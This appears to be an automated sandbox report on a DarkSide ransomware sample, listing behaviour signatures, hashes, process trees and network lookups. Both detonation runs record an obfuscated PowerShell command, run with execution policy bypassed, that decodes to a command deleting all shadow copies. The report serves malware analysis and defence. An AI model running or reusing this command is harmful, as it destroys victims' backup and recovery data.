Analysis Overview
SHA256
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
Threat Level: Known bad
The file 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297 was found to be: Known bad.
Malicious Activity Summary
DarkSide
Renames multiple (135) files with added filename extension
Renames multiple (167) files with added filename extension
Credentials from Password Stores: Windows Credential Manager
Reads user/profile data of web browsers
Command and Scripting Interpreter: PowerShell
UPX packed file
Browser Information Discovery
System Location Discovery: System Language Discovery
Unsigned PE
Uses Volume Shadow Copy service COM API
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-28 15:38
Signatures
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-28 15:38
Reported
2024-09-28 15:41
Platform
win7-20240729-en
Max time kernel
84s
Max time network
17s
Command Line
Signatures
DarkSide
Renames multiple (167) files with added filename extension
Credentials from Password Stores: Windows Credential Manager
Reads user/profile data of web browsers
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Browser Information Discovery
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2116 wrote to memory of 2340 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2116 wrote to memory of 2340 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2116 wrote to memory of 2340 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2116 wrote to memory of 2340 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
Files
memory/2116-0-0x0000000000F30000-0x0000000000F40000-memory.dmp
memory/2340-5-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmp
memory/2340-6-0x000000001B650000-0x000000001B932000-memory.dmp
memory/2340-7-0x0000000001F50000-0x0000000001F58000-memory.dmp
memory/2340-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp
memory/2340-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp
memory/2340-10-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp
C:\Users\README.26adc34e.TXT
| MD5 | 25d0b19a0ec34a39dfa3e177866f01a3 |
| SHA1 | a3704d1f6499738ccd694bdd6008a850c6b2e453 |
| SHA256 | f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8 |
| SHA512 | ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 8e9d8e14427045ad3832a84b3c8bf48a |
| SHA1 | 4775e7a76a79101e8fb48a67d8269070e3b84fc3 |
| SHA256 | 12b7fbbffb183bf089b9bcf5222a9d9fbc83df3ab62c9368381262f82d32c468 |
| SHA512 | 8281a86893359edc2b5909877770afdd4db1bc85f175a3dcbc8b20da44eb98a8303a259ee5f18653c90a062444c096a011acd986a01db4aaed84c29c47880af0 |
memory/2116-231-0x0000000000F30000-0x0000000000F40000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-28 15:38
Reported
2024-09-28 15:41
Platform
win10v2004-20240802-en
Max time kernel
95s
Max time network
97s
Command Line
Signatures
DarkSide
Renames multiple (135) files with added filename extension
Credentials from Password Stores: Windows Credential Manager
Reads user/profile data of web browsers
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Browser Information Discovery
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4316 wrote to memory of 5016 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4316 wrote to memory of 5016 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
Files
memory/4316-0-0x0000000000BD0000-0x0000000000BE0000-memory.dmp
memory/5016-1-0x00007FF95A9B3000-0x00007FF95A9B5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ahd2cemh.3rp.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5016-2-0x000001D03E6F0000-0x000001D03E712000-memory.dmp
memory/5016-12-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp
memory/5016-13-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp
memory/5016-14-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp
memory/5016-17-0x00007FF95A9B0000-0x00007FF95B471000-memory.dmp
C:\Users\README.9d01c470.TXT
| MD5 | 25d0b19a0ec34a39dfa3e177866f01a3 |
| SHA1 | a3704d1f6499738ccd694bdd6008a850c6b2e453 |
| SHA256 | f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8 |
| SHA512 | ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 556084f2c6d459c116a69d6fedcc4105 |
| SHA1 | 633e89b9a1e77942d822d14de6708430a3944dbc |
| SHA256 | 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8 |
| SHA512 | 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d336b18e0e02e045650ac4f24c7ecaa7 |
| SHA1 | 87ce962bb3aa89fc06d5eb54f1a225ae76225b1c |
| SHA256 | 87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27 |
| SHA512 | e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18 |
memory/4316-201-0x0000000000BD0000-0x0000000000BE0000-memory.dmp
memory/4316-209-0x0000000000BD0000-0x0000000000BE0000-memory.dmp